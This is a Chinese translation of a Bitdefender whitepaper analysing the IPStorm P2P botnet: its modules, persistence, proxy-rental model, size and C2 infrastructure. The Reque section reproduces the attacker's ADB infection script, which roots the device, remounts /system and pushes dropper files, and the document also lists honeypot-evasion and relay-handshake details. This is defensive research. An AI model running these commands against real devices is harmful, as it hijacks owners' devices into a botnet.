譯者：知道創宇404實驗室翻譯組
原文鏈接：https://www.bitdefender.com/files/News/CaseStudies/study/376/Bitdefender-Whitepaper-IPStorm.pdf

摘要：

Bitdefender的研究人員發現Interplanetary Storm Golang僵尸網絡可以用作高度匿名的proxy-network-as-a-service和基于訂閱的模型租用。攻擊者精通使用Golang和開發實踐，并且善于隱藏管理節點。Interplanetary Storm還有一個復雜的、模塊化的設備，該設備用來尋找新目標、推送和同步新版本惡意軟件，對被感染者執行任意命令并與C2服務器通信公開web API。

我們估計僵尸網絡的規模在9000臺左右。絕大多數使用的是安卓系統，大約1%使用的是Linux。極少數的設備的操作系統是Windows，但它們似乎運行的是舊版本的惡意軟件。在新的迭代中，IPStorm通過攻擊基于Unix的系統（Linux、Android和Darwin）運行面向Internet的SSH服務器弱憑據或不安全的ADB服務器。從地理分布來看，這個僵尸網絡似乎建立在亞洲，但是它遍布全球，受害者在巴西、烏克蘭、美國、瑞典和加拿大等國家。

主要發現

  • 僵尸網絡可能作為匿名代理網絡租用
  • 可將受損設備用作代理
  • 僵尸網絡遍布全球
  • 采用多層次訂閱型模式進行租賃
  • 迄今已有100多個規范修訂
  • 僵尸網絡背后的基礎設施

介紹

2019年6月，來自Anomali的研究人員首次報道了Interplanetary Storm（IPStorm）。2020年5月，當這個僵尸網絡攻擊我們的SSH蜜罐時，我們發現了它。從那以后，該惡意軟件一直在不斷發展。

在其新的迭代中，IPStorm通過攻擊基于Unix的系統（Linux、Android和Darwin）進行傳播，這些系統運行面向互聯網的SSH服務器，而這些SSH服務器具有弱憑據或不安全的ADB服務器。

它的功能包括為設備后門（運行shell命令）和生成惡意流量（掃描互聯網和感染其他設備）。我們已經確定僵尸網絡的主要目的是將被感染的設備放入代理服務器中，這是他們營利計劃的一部分。具有這一目標的僵尸網絡在過去已經出現過（例如：dark_neunexus、ngiweb、Gwmndy）。

時間線

IPStorm的發展可以分為三個階段：

  • Major 0, Minor 0：Anomali去年報道，專門針對Windows
  • Major 0, Minor 1：今年出現（2020年5月），目標是Unix衍生系統
  • Major 0, Minor 2：最新進展（2020年9月），從publish-subscribe模式轉換而來

在撰寫本文時，最新版本是0.2.05a。

Bot生命周期

Bot啟動代碼初始化IPFS節點并啟動專用于Bot的每個子模塊。它將惡意程序進程的oom_adj分數設置為-17，如果系統可用內存不足，這樣可以確保不會被終止。然后，它確保只有一個惡意軟件實例在設備上運行。任何匹配進程都將被終止，并且它的可執行文件已被刪除。 一個2048位RSA密鑰對產生，并存儲在文件系統的可寫路徑中。此密鑰屬于IPFS節點并具有唯一標識。節點被實例化并啟動引導進程，使IPFS網絡中的其他節點可以訪問它。與僵尸網絡中其他對等方的連接是通過定期“announcing”自己來確保的，除此之外，它尋找發布相同公告的對等方（更多信息請參閱“P2P通信”部分）。

通過在IPFS上收集指紋信息，我們從info主題中檢索到這樣一個條目，示例如下（其中有些信息是為隱私而編輯的）：

 “T” : 1592892637,
 “HostID” : “Qmf4[________________redacted________________]”,
 “Version” : “0.1.81a”,
 “Platform” : “linux-arm7”,
 “SystemInfo” : {
 “GoOS” : “linux”,
 “Kernel” : “Linux”,
 “Core” : “4.19.97-v7+”,
 “Platform” : “unknown”,
 “OS” : “GNU/Linux”,
 “Hostname” : “raspbx”,
 “CPUs” : 4
 },
 “Uid” : “0”,
 “Gid” : “0”,
 “UserName” : “root”,
 “UserDisplayName” : “root”,
 “UserHomeDir” : “/root”,
 “IsAdmin” : true,
 “ExecutablePath” : “/usr/bin/storm”,
 “InstallationPath” : “/usr/bin/storm”,
 “ComputerID” : “”,
 “LocalIPs” : null,
 “ExternalIP” : “[redacted]”,
 “Processes” : null
}

另一個周期的goroutine的任務是在Bot的新版本可用時執行更新。在這種情況下，更新后的文件寫入文件系統，重新建立惡意軟件的持久性并重新啟動進程。 它的持久性取決于操作系統。

  • 在Linux上，它使用開源守護程序包創建一個名為storm的服務
  • 在Android上，它以讀寫方式重新裝載文件系統，并覆蓋/system/bin/install-recovery.sh文件
  • 在Darwin上，沒有實現持久性方法

P2P通信

在進行對等點之間的通信時，IPStorm利用了libp2p over提供的多種機制IPFS:

  • topics
  • content routing (node discovery)
  • libp2p protocols

針對所有節點的消息使用不同的方法（版本更新、文件校驗和、具有特殊角色節點的IDs）和用于特定節點的消息（掃描目標、代理請求、shell命令）。

在第一種方法中，消息發布在主題上，所有節點都訂閱該主題并處理信息。在DDB（分布式數據庫）的情況下，發布在主題上的消息用于在所有節點。雖然消息可能會因其在網絡中的傳播方式而無序，但是包含時間戳使每個節點只保留給定密鑰的最新值。確保同行Bot可以使用時間戳進行適當的協調，它通過從一個公共列表中查詢一個隨機條目來更新它的時間NTP服務器。

第二種方法適用于掃描模塊，例如：中央實體發出掃描命令，把目標分配給機器人。這是通過使用IPStorm特有的協議連接到每個Bot來實現的。

主題

主題是libp2p Publish-Subscribe模式實現的一部分。IPStorm使用以下主題：

從0.2.*版本開始，IPStorm放棄了這些主題，轉而使用web API模塊進行集中化設計。

協議

當一個對等點想要打開與另一個對等點的直接連接時，libp2p協議就會發揮作用。源撥號指定多地址和協議的目標對等方。協議用于標識在目標節點中調用哪個處理程序，目標節點只接受其支持的協議的連接。

IPStorm定義了一套自己的協議：

節點發現

libp2p提供的內容路由接口可用于對等發現。節點將自己公布為某些CID（內容ID）的提供者，同樣地，搜索提供者，定位對等節點。這是通過go-libp2p-kad-dht（routing.FindProviders）提供的接口直接與CIDs合作來實現的。go-libp2p-discovery提供了另一種方法，使用可以轉換為CIDs（routing.FindPeers, routing.Advertise）的名稱空間。

對于IPStorm使用的每種類型，我們列出：

Relays

在0.1.43a和0.1.51a之間的某個點，IPStorm引入了對電路Relays的支持。這可能是為了提高NAT之后的節點的可達性，或者試圖隱藏管理節點。在該功能實現后不久，大多數管理節點不再發布其IP地址，而是使用Relays電路。

例如，qmeb3x55maokhzfzfysuhfgkzwaz3zftqcqz6qiaeqamo7a2列出以下地址（除其他外）：

/ip4/78.x.x.120/tcp/52202/p2p/QmVoDwmbfwSUPT3ds5ytWRwhoWZkzgE9qFHiYHfJQ5cAnm/p2pcircuit/p2p/Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2

這意味著78.x.x.120:52202處的節點（ID為QmVoDwmbfwSUPT3ds5ytWRwhoWZkzgE9qFHiYHfJQ5cAnm的storm節點）用作與Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2建立連接。

自從版本0.1.85a以來，這個特性的使用已經減少了，大多數節點都列出了它們的外部IP。然而，一些節點仍然隱藏在中繼后面，在某些情況下，中繼不屬于僵尸網絡。另一方面，另一個短期的嘗試就是用域來隱藏所涉及的管理節點IP地址。這些域是用DNSPod（域名注冊服務）生成的，用于在DDB主題上作為代理后端播發的多個地址：

/dns4/splendidobed.site/tcp/443/ipfs/QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
/dns4/spenso.me/tcp/443/ipfs/QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV

通過它們的配置，IPStorm節點可以同時使用中繼器進行出站連接（EnableAutoRelay（））和節點充當中繼躍點（EnableRelay(circuit.OptHop)）。如果想要使用IPStorm節點作為躍點，必須完成握手：

  • 使用/strelayp/1.0.0協議連接到繼電器
  • 發送字符串“HSR”
  • 繼電器應響應“+\n”

啟用了此功能的節點（并非所有版本都是這樣）在DDB上或使用特定的發現命名空間（更多內容請參閱“節點發現”部分）。

Modules

IPStorm版本0.2.05a中的包：

Packages:
main
storm/backshell
storm/ddb
storm/filetransfer
storm/logging
storm/malware-guard
storm/node
storm/powershell
storm/proxy
storm/reque_client
storm/starter
storm/statik
storm/util
storm/web_api_client

過去還有其他包，但已被替換或停止使用：

storm/avbypass
storm/bootstrap
storm/handshake
storm/identity
storm/peers_cache
storm/storm_runtime
storm/vpngate

在本節中，我們將對包含其核心功能的模塊進行技術分析。

惡意軟件衛士

此任務定期執行，查找競爭的惡意軟件。如果進程的名稱、可執行路徑或命令行參數包含黑名單中的任何字符串，則認為進程可疑。進程被終止，它們的可執行文件被刪除。黑名單上的字符串是：

/data/local/tmp
rig
xig
debug
trinity
xchecker
zpyinstall
startio
startapp
synctool
ioservice
start_
com.ufo.miner

Backshell

此模塊用于在受感染的設備上運行shell命令。shell是通過libp2p訪問的協議連接（ID為/sbst/1.0.0）。該模塊缺少身份驗證或授權。

DDB

分布式數據庫（DDB）被用來存儲和共享配置數據。對于同步，每個Bot定期發布本地數據庫中有關IPFS主題的條目。用更新的時間戳更新本地條目。在這個過程中，只有受信任的節點才有權更新某些密鑰。libp2p（pubsub）實現消息簽名，Bot檢查公鑰屬于硬編碼消息的可信密鑰列表。

從相關主題檢索到的DDB條目的示例如下：

{
 “Command” : “SetWithTTL”,
 “Key” : “file-checksum/storm_android-amd64”,
 “Value” : “12c3368e17c04f49cfea139148b63fd1ab1a41e26c113991c2bb0835dd02495b”,
 “TTL” : 3600000000000,
 “T” : 1598897109
}

該命令是指應該在數據庫上執行的操作。在這種情況下，該項有一個時間tolive（TTL），這意味著它應該在發布后經過一個時間間隔（TTL值）后被丟棄。鍵和值與數據庫中存儲的實際數據相對應。

根據關鍵字，值具有以下含義：

數據庫是一個關聯數組，但是要區別于發表在這個主題上的（鍵，值）。Set和SetWithTTL命令存儲與鍵相關聯的值，替換前面的值。對于SAdd命令，與數據庫中的鍵相關聯的值是一個列表，消息中的值附加到該列表中。

雖然在最新的示例中，該模塊仍用于本地存儲，但同步機制已被使用webapi的管理節點查詢所取代。

VPNGate

此模塊用于對公共VPN服務VPNGate的API進行抓取。

程序執行一個請求[http://www.vpngate.net/api/iphone/](http://www.vpngate.net/api/iphone/ "http://www.vpngate.net/api/iphone/")并解析CSV響應。獲得的關于這些VPN服務器的信息將發布在IPStorm的一個主題上。

將此模塊包含在僵尸網絡中的原因可能是為了克服限制為請求返回的服務器列表的VPNGate。通過僵尸網絡以分布式方式抓取，可以發現更廣泛的VPN服務器選擇。

Reque

reque包（可能代表來自“command-and-control”的請求”）用于與SSH和ADB服務器的協同掃描以及蠕蟲式感染相關的功能。Bot通過/sreque/1.0.0協議連接到一個稱為請求服務器的IPFS節點。來自此服務器的命令分布在一個工作隊列中。該模塊設計為易于擴展以處理新命令。目前，有兩個命令處理程序，分別用于tcp scan和brute ssh命令。

tcp-scan命令用于掃描一組端口上的IP范圍。如果目標端口列表包含端口22或5555，則模塊將分別遵循SSH和ADB協議。

brute-ssh的一個參數和一個地址列表作為其參數。如果Bot成功地在目標設備上獲得shell，它就會執行感染有效載荷，將受害者變成IPStorm Bot。

作為一種蜜罐規避技術，在感染前使用正則表達式驗證shell的提示步驟。regex匹配“svr04”字符串，它是Cowrie蜜罐的主機名。

在SSH的情況下，Bot表現出蠕蟲行為，而對于ADB，感染階段不是由Bot執行的，Bot只將找到的關于設備的信息中繼回reque manager。實際的感染是由一個bot-herder控制的節點執行的，該節點通過ADB連接到受害者并發出感染有效載荷。根據我們從ADB蜜罐收集的數據，攻擊者的腳本相當于：

adb connect $IP:5555
adb root && adb wait-for-device
adb remount && adb wait-for-device
adb shell mount -o rw,remount /data; mount -o rw,remount /system; mount -o rw,remount /
adb shell echo “{
 \”user\”:\”$(whoami 2>/dev/null)\”,
 \”id\”:\”$(id 2>/dev/null)\”,
 \”root_access\”:\”$(getprop persist.sys.root_access 2>/dev/null)\”,
 \”machine\”:\”$(uname -m 2>/dev/null)\”,
 \”curl\”:\”$(which curl 2>/dev/null)\”,
 \”wget\”:\”$(which wget 2>/dev/null)\”,
 \”adb\”:\”$(which adb 2>/dev/null)\”,
 \”iptables\”:\”$(which iptables 2>/dev/null)\”,
 \”ipset\”:\”$(which ipset 2>/dev/null)\”,
 \”abi\”:\”$(getprop ro.product.cpu.abi 2>/dev/null)\”,
 \”abi2\”:\”$(getprop ro.product.cpu.abi2 2>/dev/null)\”,
 \”abilist\”:\”$(getprop ro.product.cpu.abilist 2>/dev/null)\”,
 \”abilist32\”:\”$(getprop ro.product.cpu.abilist32 2>/dev/null)\”,
 \”abilist64\”:\”$(getprop ro.product.cpu.abilist64 2>/dev/null)\”,
 \”sdk\”:\”$(getprop ro.build.version.sdk 2>/dev/null)\”
Bitdefender DracoTeam ? WHITEPAPER
Looking Into the Eye of the Interplanetary Storm
}”
adb push install-recovery.sh /system/bin/install-recovery.sh
adb push storm-install.sh /system/bin/storm-install.sh
adb push sldrgo /system/bin/sldrgo

通過echo命令收集的指紋信息用于調整剩余的有效載荷。最后的文件sldrgo是為受害者的CPU架構編譯的UPX壓縮二進制文件。它的目的是下載主Bot有效載荷。

Proxy

IPStorm代理通過libp2p流量對SOCKS5協議進行隧道傳輸。該模塊同時執行兩個任務：維護與后端的連接和處理傳入流。

代理后端使用DDB（舊版本）或節點發現機制定位。然后，bot使用/sbpcp/1.0.0協議連接到后端，并定期使用其外部IP地址和延遲。

在初始化階段，它使用開源的SOCKS5實現在隨機端口上啟動本地SOCKS5代理。實例化了/sbptp/1.0.0協議的流處理程序。這允許節點從libp2p流中取消封裝SOCKS5代理流量，并將其轉發給本地代理。同樣，響應通過libp2p流轉發回對等端。在舊版本中，這是使用雙向管道的特殊實現來完成的：

type proxy.BidirectionalPipe struct{
 ctx context.Context
 lrw io.ReadWriter
 rrw io.ReadWriter
 pipe1 *proxy.Pipe
 pipe2 *proxy.Pipe
}
type proxy.Pipe struct{
 src io.ReadWriter
 dst io.ReadWriter
}

在較新的版本中，這是通過使用gostream包來抽象的。

傳入連接的對等方在模塊的邏輯中不需要相同，但它們都被稱為（并在DDB中標記）代理后端。根據我們對IPStorm Bot的觀察，代理模塊在啟動后不久就會收到連接請求。連接源是作為代理后端的同一節點（Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2）。我們假設這是由于代理檢查機制造成的，并且沒有調查代理是否最終接收到真實的流量。

Filetransfer

IPStorm以分布式方式托管惡意軟件二進制文件，每個Bot“seeding”一個或多個樣本。這個功能在filetransfer包中實現。Bot定期檢查更新：它從DDB或通過webapi檢索最新版本號。如果有一個新版本可用，它將被下載，然后使用新的二進制文件殺死并重新生成bot。這個過程將生成一個新的密鑰對。當與本機體系結構和操作系統匹配的示例存儲在文件系統中時，其他示例存儲在RAM中。根據可用的RAM，許多其他示例被下載并在本地HTTP服務器上提供服務。此服務器在Bot啟動時在隨機端口上打開，并在DDB中公布。對于每個托管的示例，條目“seeder:”+checksum和“seeder http:”+checksum被格式化為Bot的對等ID或其外部IP和端口分別是HTTP服務的。在較新的版本中，這被替換為向2WebAPI發布等效數據端點。

下載樣本的過程有幾個步驟：

  • 檢索特定CPU架構和操作系統的最新示例的校驗和
  • 為具有該校驗和的文件查找種子生成器
  • 通過HTTP或IPFS（protocol/sfst/1.0.0）連接到對等機并下載示例
  • 驗證校驗和

statik模塊用于將zip文件存儲到內存中，從中可以單獨檢索文件。檔案包含：

第一個腳本，linux/install.sh，在SSH感染中用作主負載的下載器/dropper。這個腳本是由bot-adhoc定制的，添加了一個變量，其中包含了有效負載的最新“seeders”。當Bot更新時，storm_android中的腳本用于重新配置android設備上的持久性。

WebAPI

自從0.1.92a版本的IPStorm開始從PubSub模型過渡到更集中的設計。機器人將不再協調使用其他機器人發布的消息。相反，所有信息由一個或多個C2節點聚合，這些節點公開了一個Web API。

P2P協議采用了LibGo的HTTP分層連接包。IPStorm代碼中稱為“web API后端”的服務由其對等id尋址，并使用對等發現機制進行發現。

這種轉變的原因尚不清楚。一些可能的解釋是，開發人員已經意識到當事方可以讀取并可能干擾主題并希望獲得更多控制權，或者同步不可靠。后者可以解釋為什么我們看到多個Bot使用舊的惡意軟件版本而被卡住，盡管代碼設計為自動更新到最新的可用版本。

除了確保p2p同步由bot-herder控制的節點監督外，消息保持身份驗證，并使用與DDB相同的可信密鑰集強制授權。

以下API公開了以下終結點：

僵尸網絡映射

在我們監控僵尸網絡的過程中，我們使用了來自多個來源的數據：

  • 公開的“peer info”（ID、公鑰、地址和版本信息）
  • 發布主題信息：DDB主題、信息主題
  • 在DHT中查詢屬于僵尸網絡的對等方

在第一種方法中，我們使用IPFS爬蟲收集的對等信息數據庫。屬于僵尸網絡的節點很容易通過它們的代理版本來識別，這類似于HTTP協議中的用戶代理。

對于使用go-libp2p構建的應用程序，AgentVersion默認設置為主包的名稱。IPStorm節點的AgentVersion設置為storm。此屬性使我們能夠找到不在其他頻道（如info主題）上聲明自己的節點。

其次，我們使用相同的機制，使IPStorm Bot能夠找到對等點：在DHT中查詢僵尸網絡中不同類別節點（常規節點或具有特殊角色的節點）提供的特定內容id。

有關Bots的id的信息也可以在info主題和DDB主題中找到。我們使用DDB主題中的數據來跟蹤由威脅參與者控制的對等方的版本和角色。信息主題中的數據提供了按國家、設備類型和操作系統劃分的受害者分布情況。

在估計僵尸網絡的規模時，我們面臨的問題是，沒有明確的方法來區分兩個節點id是否代表同一個受感染的設備。可以通過版本ID更新或重新感染。外部IP也不是一個好的標識符，因為它會隨著時間而變化，或者因為多個節點可能在NAT之后。

我們根據一周內不同的網絡規模，平均數周內看到的僵尸數量大約有9000臺設備。絕大多數人的操作系統是Android，約1%使用Linux。

根據他們在信息主題上發布的消息，仍然有許多設備運行IPStorm 0.1*之前的版本，并將Windows作為其操作系統。由于新的活動只關注Unix系統，因此，值得注意的是，自2019年以來，這些Bot一直在這些設備上運行。

雖然指紋不包含有關設備型號的特定信息，但可以從操作系統，內核版本，有時還有主機名和用戶名。基于此，我們確定了路由器、NAS設備、UHD接收器和多功能板和微控制器（如Raspberry Pi），它們可能屬于物聯網設備。

以下數字是由外部IP確定的受害者的地理分布。他們大多數在亞洲。

僵尸網絡總共影響了98個國家，就其掃描互聯網的能力而言，它似乎很強大，但是通過對攻擊媒介的選擇，攻擊目標是在某些國家更普遍的設備類別。我們的蜜罐平均每天收到3500次來自這個僵尸網絡的攻擊，相當于流量的很大一部分。

按國家分類的IPStorm受害者分布情況：

IPStorm受害者的精確位置分布：

基礎設施

雖然我們沒有設法從管理基礎設施中獲得大量二進制文件，但它們很可能是在同一個項目中開發的，我們可以在Bot二進制文件中找到一些與它們相關的線索。管理節點使用相同的AgentVersion，這是基于主包的路徑設置的，這一事實支持了這一假設。

包中有一些附加的包，其中沒有代碼（除了一些初始化函數）：

storm/commander/web_app/router
storm/proxy/checker
storm/util/storm_runtime

這些包可能與管理受害者的web界面和代理可用性的自動檢查器相對應。

據我們所知，從管理基礎設施分配給節點的特殊角色是：

  • proxy backend
  • proxy checker
  • reque manager
  • web API backend
  • trusted node
  • development node

觀察到以下節點：

  • ID: QmW1ptn27xSAgZqBvJwhaGWmJunjzqAGt1oAj4LdVAm9vM
    Roles: trusted, web API backend
    Addresses: /ip4/212.x.x.100/tcp/444, /ip4/212.x.x.100/tcp/5554, /ip4/88.x.x.34/tcp/444

  • ID: QmddMf2PfNXu6KVKp63rcLhWpNqQdaQdPZzP649dRXS6et
    Roles: unknown
    Addresses: /ip4/212.x.x.100/tcp/443

  • ID: Qmeb3X55MaoKhZfYsUHFgkZWAz3ZFtQCQz6qiaEqamo7a2
    Roles: trusted, web API backend, reque manager, proxy backend, proxy checker
    Addresses: /ip4/54.x.x.216/tcp/444, /ip4/54.x.x.216/tcp/5554, /ip4/101.x.x.240/tcp/443, /ip4/101.x.x.222/
    tcp/443, /ip4/111.x.x.85/tcp/443

  • ID: QmViHGaXaG5JzbvH2Xs1Ro19fvoKG1KqpPGMYWLc4ckEAV
    Roles: proxy backend, reque manager
    Addresses: /ip4/54.x.x.216/tcp/443, /ip4/54.x.x.216/tcp/5555

  • ID: QmShLAfGGVDD32Gsx5Q2YbuhdDm1uHAmV8aozV6uRKAZdW
    Roles: trusted
    Addresses: unknown

  • ID: QmNWL3UTHbfCxhKA8Lu9aL2XpPGGYQmN4dihXsaCapiyNx
    Roles: trusted
    Addresses: unknown

  • ID: QmV7UYLoDmUv3XViiN1GqrsC6t8WLPGmCKTMAJ544x2pbA
    Roles: proxy backend
    Addresses: /ip4/45.x.x.194/tcp/443

  • ID: QmdACwNe1JdkD2N45LRbcFthPpEVQVtfBvuHFHQ4cFMcAz
    Roles: development
    Addresses: unknown (External IP: 163.172.x.x)

  • ID: QmNoV8qAgLTEo1nQN8wmusi9U9kmArUjVNsKY4TdYS1wvT
    Roles: development
    Addresses: unknown

隨著時間的推移，其中一些節點已經改變了它們的地址和角色。所列信息來源于最近幾個月收集的可公開獲取的信息。我們只包含外部IP和端口的多地址。對于某些節點，我們的數據只包含中繼電路地址，因此它們的地址被列為未知。

有趣的是，一個由7個節點組成的組出現在2020年9月17日，宣布自己是web API CID的提供者：

QmNeV49LPkgQENkpSmg6q8nB1jypY74jhtWxP9rANUQubd
QmRG9bwpWumxkNwGbceiMXmikAeNDw48kiTRaJSt8rSmzp
QmXPUhUy4e2jg6dqjfsTnseC5m5KHgZvqMr6AwVutdcQGL
QmYmDUkGJJ5K2BQ6JYuJeN2SJB3wfDg2N78th6tMEmHgSF
QmbNwkGiHrK9XcP6n2vMZh9sZMoicvcrhaTbtXMzoC8rp1
QmbcbZb8Jq8u44oCqna5h2ZBjSpRT42dNLDDNCyuSfGu3L
Qmek3KNuJY3eRbSGZ9zm2M8yYLb7bMeA28gMswQXarhbmW

我們無法確定它們的來源和目的。一種理論認為，它們可能屬于試圖用Sybil攻擊摧毀僵尸網絡：Bot試圖到達虛假的Web API節點，而依賴于該模塊的功能受到阻礙。

結論

我們相信Interplanetary Storm僵尸網絡不僅有能力作為租用基礎設施的匿名代理，而且具有高度活躍的開發周期。僵尸網絡的主要目的似乎是財務上的，因為代碼經過了大量的修改，以創建一個可靠和穩定的代理基礎設施。

Paper 本文由 Seebug Paper 發布，如需轉載請注明來源。本文地址：http://www.jmbmsq.com/1373/